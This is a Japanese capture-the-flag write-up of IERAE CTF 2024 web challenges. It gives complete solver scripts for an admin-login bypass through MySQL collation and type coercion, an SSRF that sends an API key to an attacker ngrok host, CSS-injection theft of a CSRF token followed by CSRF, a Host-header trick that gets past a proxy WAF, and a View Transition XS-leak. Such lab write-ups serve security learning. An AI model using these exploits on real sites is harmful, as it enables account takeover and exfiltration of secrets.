IERAE CTF 2024 - web writeup
今週末はIERAE CTFに参加して、結果は24位でした。日本人の参加者が多かったので、SECCON本戦出場までの距離感がちょっと掴めました。結構頑張んないと...
チーム脆弱エンジニアはSECCONに向けてチームメンバー募集中です!(特にPwn)興味のある方は気軽にXかDiscordでご連絡ください!
✅ (homework) passwordless (1pt)
パスワードを利用しないログインシステムに、adminとしてログインできたらフラグがもらえる。
流れとしては次の通り。
-
/register
でユーザーが作成される -
/login
にアクセスすると、secret
とkey
を持つlogin_token
が生成される。この時、key
がレスポンスとして返却される。 -
secret
がメールで共有される(とコメントで書いてあるが、実際は送信されない) -
login/:key
にsecret
を送るとログインできる。
# Unprintableな文字が飛んできたらハッカーなので止める
before do
params.each do |k, v|
if /[^[:print:]]/.match?(v.to_s)
halt 400, "Hacker detected!"
end
end
end
# snap
post '/login' do
content_type :json
# adminは通常のログインフォームからはログインできない
if params[:name].match?(/admin/i)
return { error: 'You can\'t login as admin' }.to_json
end
user = User.find(name: params[:name])
return { error: 'Not found' }.to_json if user.nil?
# 重複しないようにIPアドレスをつけておく
secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
login_token = LoginToken.create(
user_id: user.id,
key: SecureRandom.hex(32),
secret: secret
)
send_login_token(user, login_token)
{
login_token_key: login_token.key
}.to_json
end
post '/login/:key' do
content_type :json
login_token = LoginToken.find(key: params[:key], secret: params[:secret])
return { error: 'Not found' }.to_json if login_token.nil?
user = User.find(id: login_token.user_id)
{
user: {
id: user.id,
name: user.name,
email: user.email,
profile: user.profile
}
}.to_json
end
考慮すべきは次の通り。
-
admin
で/login
からトークンを作成できないように次のようなWAFがはられている
if params[:name].match?(/admin/i)
return { error: 'You can\'t login as admin' }.to_json
end
- secretが不明
secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
1.に関して正規表現が/admin/i
となっていることが気になる。このi
というフラグは、大文字小文字を区別しないということだ。これはもしかしたらMySQLが'admin'='ADMIN'
としてしまうからではないだろうか?実験してみるとそのとおりであることがわかる。
MariaDB [ierae]> SELECT * FROM users WHERE name='ADMIN';
+----+-------+-----------------+--------------+
| id | name | email | profile |
+----+-------+-----------------+--------------+
| 1 | admin | admin@localhost | IERAE{dummy} |
+----+-------+-----------------+--------------+
では、大文字以外のAのようなUnicodeはどうだろうか?
MariaDB [ierae]> SELECT * FROM users WHERE name='Àdmin';
+----+-------+-----------------+--------------+
| id | name | email | profile |
+----+-------+-----------------+--------------+
| 1 | admin | admin@localhost | IERAE{dummy} |
+----+-------+-----------------+--------------+
Àdmin
は正規表現には引っかからないので、ユーザー名をÀdmin
にすれば1.の条件は突破できることがわかった。
2.について、secret
を用いてlogin_token
を特定する箇所は以下のようになっている。
login_token = LoginToken.find(key: params[:key], secret: params[:secret])
ここで、params[:secret]
が文字列ではなく、配列や辞書型の場合、どのようなクエリが送信されるだろうか?
r = s.post(URL + "login", data={
"name": f"Àdmin"
})
login_token_key = json.loads(r.text)["login_token_key"]
r = s.post(URL + "login/" + login_token_key, data=[
("secret[]", 'foo'),
("secret[]", 'bar')
])
# SELECT * FROM `login_tokens` WHERE ((`key` = '...') AND (`secret` IN ('foo', 'bar'))) LIMIT 1
print(r.text) # {"error":"Not found"}
r = s.post(URL + "login/" + login_token_key, data={
"secret[0]": 'foo',
"secret[1]": 'bar'
})
# SELECT * FROM `login_tokens` WHERE ((`key` = '...') AND (`secret` = (('0' = 'foo') AND ('1' = 'bar')))) LIMIT 1
print(r.text) # {"error":"Not found"}
配列を送ったときの(`secret` IN ('foo', 'bar'))
の形式は、やはりsecret
がわからないと意味が無いので利用できにくそうだ。辞書型を送った時の(`secret` = (('0' = 'foo') AND ('1' = 'bar'))))
は、(`secret` = FALSE)
として解釈できる。これを満たすようなsecret
はどのような文字列だろうか?
公式ドキュメントを読むと、文字列と数値を比較する時、文字列は「最初に数字でない文字が現れたらそれ以降を無視して、それまでの数字を数値として解釈する」という方法で数値に変換されることがわかる。さらに、MySQLではFALSE
は0のエイリアス、TRUE
は1
のエイリアスなので、例えば'0abcd'=FALSE
や'1ABCD'=TRUE
が成り立つ。
ここで、secret
が生成される方法を確認する。
secret = IPAddr.new(request.ip).to_i.to_s + SecureRandom.hex(32)
送信元のIPアドレスとランダムな16進数が結合していることがわかる。ここで、例えばIPアドレスが0.0.0.0
であり、生成された16進数がa~fで始まる場合、secret
は0a
のような文字から始まることになり、secret=FALSE
を満たす。雑にX-Forwarded-For: 0.0.0.0
ヘッダーを付与してみたら、うまいことrequest.ip
が0.0.0.0
と解釈された。
secret
の16進数がa~fで始まるとは限らないが、16回に6回は成功するので、成功するまでループした。
import json
import requests
import time
# URL = "http://34.146.65.254:4567/"
URL = "http://localhost:4567/"
s = requests.session()
while True:
r = s.post(URL + "login", data={
"name": f"Àdmin"
}, headers={
"X-Forwarded-For": "0.0.0.0",
})
print(r.text)
login_token_key = json.loads(r.text)["login_token_key"]
r = s.post(URL + "login/" + login_token_key, data={
"secret[0]": 'a'
})
print(r.status_code)
print(r.text)
if "user" in r.text:
print(json.loads(r.text)["user"]["profile"])
break
time.sleep(.5)
✅ Futari APIs (162pts 81/224 クリア率36%)
ユーザーを検索するサイト。ユーザー名を送ると、別APIにリクエストを送ってユーザーを検索する。このときにapiKey
というクエリパラメータを付与するが、これがフラグとなっている。
async function searchUser(user: string, userSearchAPI: string) {
const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
return await fetch(uri);
}
async function handler(req: Request): Promise<Response> {
const url = new URL(req.url);
switch (url.pathname) {
case "/search": {
const user = url.searchParams.get("user") || "";
return await searchUser(user, USER_SEARCH_API);
}
default:
return new Response("Not found.");
}
}
Deno.serve({ port: PORT, handler });
new URL
に第二引数が用いることにより、
new URL('foobar?apiKey=flag','http://127.0.0.1:3030')
がhttp://127.0.0.1:3030/foobar?apiKey=flag
となるようになっている。この第二引数の仕様に関してMDNを読んでみると、
new URL('http://xxx.ngrok.app','http://127.0.0.1:3030')
のように第一引数がフルパスの場合は第二引数が無視されるということがわかる。つまり、ユーザー名をhttp://xxx.ngrok.app
とすれば、http://xxx.ngrok.app/?apiKey=XXX
のようなリクエストが飛び、apiKeyを流出することができる。
import requests
URL = "http://34.81.219.110:3000/"
EVIL = "https://tchenio.ngrok.io/"
s = requests.session()
r = s.get(URL + "search", params={
"user": EVIL
})
✅ Great Management Opener (315pt 11/224 クリア率4.9%)
ユーザー作成とログインができるシステム。admin権限を持ったユーザーが/admin
にPOSTを行うとユーザーをadmin
に昇格できる。
@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
if request.method == 'POST':
username = request.form.get('username')
csrf_token = request.form.get('csrf_token')
if not username or len(username) < 8 or len(username) > 20:
return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))
if not csrf_token or csrf_token != session.get('csrf_token'):
return redirect(url_for('admin', message='Invalid csrf_token'))
user = User.query.filter_by(username=username).first()
if not user:
return redirect(url_for('admin', message='Not found username'))
user.is_admin = True
db.session.commit()
return redirect(url_for('admin', message='Success make admin!'))
return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))
admin権限を持ったユーザーで/admin/flag
にアクセスするとフラグが手に入れられる。
urlを送ると、admin権限を持ったユーザーを利用して、botがそのサイトを訪れてくれる。
export const visit = async (url) => {
/* snap */
try {
// Login with admin user
const page = await context.newPage();
await page.goto(`${APP_URL}/login`, { timeout: 3000 });
await page.waitForSelector("#username");
await page.type("#username", APP_ADMIN_USERNAME);
await page.waitForSelector("#password");
await page.type("#password", APP_ADMIN_PASSWORD);
await page.click("button[type=submit]");
await sleep(1 * 1000);
await page.goto(url, { timeout: 3000 });
await sleep(TIMEOUT_SECONDS * 1000);
await page.close();
} catch (e) {
console.error(e);
}
/* snap */
};
botに自分のユーザーにadmin権限を与えるようにCSRFしたいが、CSRFトークンにより簡単にはできないようになっている。
全てのページにおいて、?message=
というクエリパラメータでメッセージを表示できるようになっているが、これにXSSの脆弱性がある。
<!DOCTYPE html>
<html>
<!-- snap -->
<body>
<div class="container">
{% if request.args.get('message') %}
<div class="alert alert-secondary mt-3">
{{ request.args.get('message')|truncate(64, True) }}
</div>
{% endif %}
<h1 class="text-center">Great Management Opener</h1>
{% block content %}
{% endblock %}
</div>
</body>
</html>
ただし、CSPの設定により、javascriptを実行するのは難しそう。
@app.after_request
def add_security_headers(response):
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Content-Security-Policy'] = (
"script-src 'self'; "
"style-src * 'unsafe-inline'; "
)
return response
ただし、style-src * 'unsafe-inline'
となっているのでCSS Injectionは可能である。しかも、csrf_token
はhiddenなinput要素に含まれているので、以下のCSSを利用してBlind searchが行える。(詳細)
input[name=csrf_token][value^=ABCD] ~ * {background: url('known?v=ABCD');}
メッセージの長さが64文字までなので、直接CSSを埋め込むのは難しいが、linkタグでcssファイルを埋め込むができる。
これを利用してcsrfトークンをリークし、CSRFで自分のユーザーを昇格させることでフラグを入手した。
import threading
from flask import Flask, Response, render_template, request
import requests
import time
app = Flask(__name__)
REMOTE = False
# REMOTE = True
URL = "http://34.81.113.24:5000/" if REMOTE else "http://localhost:5000/"
BOT = "http://35.221.184.101:1337/" if REMOTE else "http://localhost:1337/"
EVIL = "http://tchenio.ngrok.io/"
USERNAME = "tchentchen"
PASSWORD = "password"
def gencss(c, known):
v = known + c
return f"input[name=csrf_token][value^='{v}'] ~ * {{background: url('{EVIL}known?v={v}');}}"
known=""
@app.route("/")
def index():
print(request.headers, flush=True)
return render_template("index.jinja2", **globals())
@app.route("/known")
def known():
global known
known = request.args.get('v')
return Response("ok")
@app.route("/getknown")
def getknown():
global known
return Response(known)
@app.route("/solve")
def solve_route():
s = requests.session()
r = s.post(URL + 'login', {
"username": USERNAME,
"password": PASSWORD
})
r = s.get(URL + 'admin/flag')
print(r.text, flush=True)
return Response("")
letters = "0123456789abcdef"
known=""
@app.route("/main.css")
def css():
return Response("\n".join([gencss(c, known) for c in letters]),mimetype="text/css")
def solve():
time.sleep(1)
requests.post(URL + 'register', {
"username": USERNAME,
"password": PASSWORD
})
requests.post(BOT + 'api/report', json={
"url": EVIL
})
if __name__ == "__main__":
thread = threading.Thread(target=solve)
thread.start()
app.run(port=9911)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<script>
const sleep = s => new Promise(r => setTimeout(r, s))
let known = "";
(async () => {
while(known.length < 32) {
known = await(await fetch("getknown")).text()
const style = '<link href="{{EVIL}}main.css" rel="stylesheet">'
const w = open("http://web:5000/admin?message=" + style);
await sleep(500)
w.close()
}
document.querySelector('input[name=csrf_token]').value = known
form.submit();
await sleep(1000);
fetch("/solve")
})()
</script>
<form id="form" method="POST" action="http://web:5000/admin" target="_blank">
<input type='text' name='username' value='{{USERNAME}}'>
<input type='text' name='csrf_token'>
<input type='submit' value='submit'>
</form>
</body>
</html>
サイトがhttpのため、httpsでホストしたページからはCSRFができないことに注意する。ngrokでhttpのサーバーを建てるにはngrokでHTTPSアップグレードを封じたいを参考にしてください。
✅ babewaf (315pt 11/224 クリア率4.9%)
フラグを提供するbackend
と、それに接続するproxy
という2つのサーバーが立っている。ユーザーはproxy
にしかアクセスできないので、proxy
を通してbackend
の/givemeflag
というルートからフラグを入手することが目的となる。また、backend
はHonoというフレームワークを利用している。
const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");
const app = express();
const BACKEND = process.env.BACKEND ?? "http://localhost:4045";
app.use((req, res, next) => {
if (req.url.indexOf("%") !== -1) {
res.send("no hack :)");
}
if (req.url.indexOf("flag") !== -1) {
res.send("🚩");
}
next();
});
app.get(
"*",
createProxyMiddleware({
target: BACKEND,
}),
);
app.listen(3000);
import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'
const app = new Hono()
const FLAG = Deno.env.get("FLAG") ?? "IERAE{testflag}";
app.get('/', serveStatic({ path: './index.html' }))
app.get('/givemeflag', (c) => {
return c.text(FLAG)
})
export default app
基本的にリクエストはそのままbackend
に送られるが、次の2つのWAFを回避しなければならない。
-
flag
の文字を含まない-
http://localhost:3000/givemeflag
といったリクエストは無効
-
-
%
を含まない- URLエンコードを利用した、
http://localhost:3000/%67%69%76%65%6d%65%66%6c%61%67
のようなリクエストも無効
- URLエンコードを利用した、
いろいろなペイロードを試していると、Host: fakehost/foobar
というヘッダーを付与して/
にアクセスすると、URLがhttp://fakehost/foobar/
となることがわかった。
それでは、Host: fakehost/givemeflag
でうまくいくかと思ったが、これはhttp://fakehost/givemeflag/
と最後に/
が付いてしまうせいでうまくいかない。
それではと思ってHost: fakehost/givemeflag?
としたところ、http://fakehost/givemeflag?/
となり、/
がクエリパラメータとして解釈されるようになったので、無事フラグを入手することができた。
import requests
URL = "http://35.229.187.38:3000/"
# URL = "http://localhost:3000/"
r = requests.get(URL, headers={
"Host": "fake/givemeflag?"
})
print(r.text)
Smooth Note (446pts 3/224 クリア率1.3%)
CSSが適用されたメモを作成することができる。
また、/?search=
でメモの内容で検索することができる。
botは、フラグを内容としてメモを作成し、指定のURLを訪れてくれる。
export const visit = async (url) => {
/* snap */
try {
// Create a flag note
const page1 = await context.newPage();
await page1.goto(APP_URL, { timeout: 3000 });
await page1.waitForSelector("#show-form");
await page1.click("#show-form");
await sleep(0.5 * 1000);
await page1.waitForSelector("#new-title");
await page1.type("#new-title", "Secret Note");
await page1.waitForSelector("#new-body");
await page1.type("#new-body", FLAG);
await page1.waitForSelector("#new-style");
await page1.type("#new-style", "body { background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red); }");
await page1.waitForSelector("#new-button");
await page1.click("#new-button");
await sleep(1 * 1000);
await page1.close();
await sleep(1 * 1000);
// Visit the given URL
const page2 = await context.newPage();
await page2.goto(url, { timeout: 3000 });
await sleep(100 * 1000);
await page2.close();
} catch (e) {
console.error(e);
}
/* snap */
};
CSPによって、javascriptの実行が防がれているが、CSSは自由に埋め込み可能。特に、img-src *
となっていることから、background-image: url(<自分のサイト>)
を利用してXS-leaksができそうな雰囲気がある。
app.addHook("onRequest", (req, reply, next) => {
reply.header(
"Content-Security-Policy",
`default-src 'none'; style-src 'self' 'unsafe-inline'; img-src *`
);
next();
});
ただし、CSSを埋め込むことができるページは/note/<noteid>
だけであり、検索結果の/?search=
には埋め込むことができない。
ページをいろいろいじっていると、ノートページから検索ページに移動したときに変なエラーが出力されていることに気がついた。
検証すると、View Transition APIというものが利用されているらしい。これは、ページの遷移前と遷移後の要素を紐付けることで、要素がスムーズに変換されるようなアニメーションをしてくれるようなAPIである。
エラーになっていたのは、遷移前後で紐付けるための「view-transition-name」というプロパティが重複していたためであった。
#index-main {
position: relative;
.title {
view-transition-name: site-title;
}
/* snap */
}
エラーが発生するときとしない時で挙動が異なるようなCSSセレクタを発見できれば、それをオラクルにすることができそうだ。
::view-transitionというセレクタは、遷移前と遷移後の要素どちらにも当てはまるCSSセレクタである。これは、上記のエラーが発生している場合には発火しない。
読み込まれるCSSは基本遷移後のみなので、/?search
(検索結果あり)→/node/<nodeid>
で発火して、/?search
(検索結果なし)→/node/<nodeid>
で発火しない、といったオラクルを作成することが可能である。
CTF開催中はここまで発見していたが、CSRFでノートを作成したあとに/?search
に遷移してしまうと作成したノートに戻ることができずに詰んでいた。知らなかったのは、open
関数を利用してページを開いた後、そのウィンドウを利用してCSRFすることが可能であり、/?search
→/node/<nodeid>
の順番で表示することができるということだった。
open
関数は以下のようにコンテキスト付きで開くことができる。
const w = open('http://localhost:3000/?search=foobar', 'mywindow')
さらに、<form>
タグは、target='mywindow'
というアトリビュートを設定することで、そのコンテキストを利用してリクエストを行うことができる。これを組み合わせることで上記の遷移を実現することができる。
以下がソルバーとなる
import threading
from flask import Flask, Response, render_template, request
import requests
app = Flask(__name__)
# REMOTE = False
REMOTE = True
BOT = "http://130.211.255.176:1337/" if REMOTE else "http://localhost:1337/"
EVIL = "http://tchenio.ngrok.io/"
@app.route("/")
def index():
return render_template("index.jinja2", **globals())
known = "IERAE{"
candidate = 'abcdefghijklmnopqrstuvwxyz}'
@app.route("/leak")
def leak():
global known, candidate
candidate = [c for c in candidate if c != request.args.get('v')[-1]]
if len(candidate) == 1:
known += candidate[0]
print(f"{known=}")
candidate = 'abcdefghijklmnopqrstuvwxyz}'
return Response("")
@app.route("/getknown")
def known_route():
global known
return Response(known)
def solve():
requests.post(BOT + 'api/report', json={
"url": EVIL
})
if __name__ == "__main__":
thread = threading.Thread(target=solve)
thread.start()
app.run(port=9911)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script>
const sleep = s => new Promise(r => setTimeout(r, s));
async function runfor(str) {
let w = open(`http://web:3000/?search=${str}`, str);
await sleep(300);
const css = `
::view-transition {
background-image: url({{EVIL}}leak?v=${str});
}
`.replace(" ", "");
document.querySelector('input[name=style]').value = css;
form.target = str;
form.submit();
await sleep(300);
w.close()
};
const letters = "abcdefghijklmnopqrstuvwxyz}";
(async () => {
let known = await(await fetch("getknown")).text();
while(known.slice(-1) !== "}") {
for(let c of Array.from(letters)) {
await runfor(known + c)
}
known = await(await fetch("getknown")).text();
}
})()
</script>
</head>
<body>
<form id="form" method="POST" action="http://web:3000/create" target="_blank">
<input type='text' name='title' value='foo'>
<input type='text' name='body' value='bar'>
<input type='text' name='style' value='baz'>
<input type='submit' value='submit'>
</form>
</body>
</html>
Discussion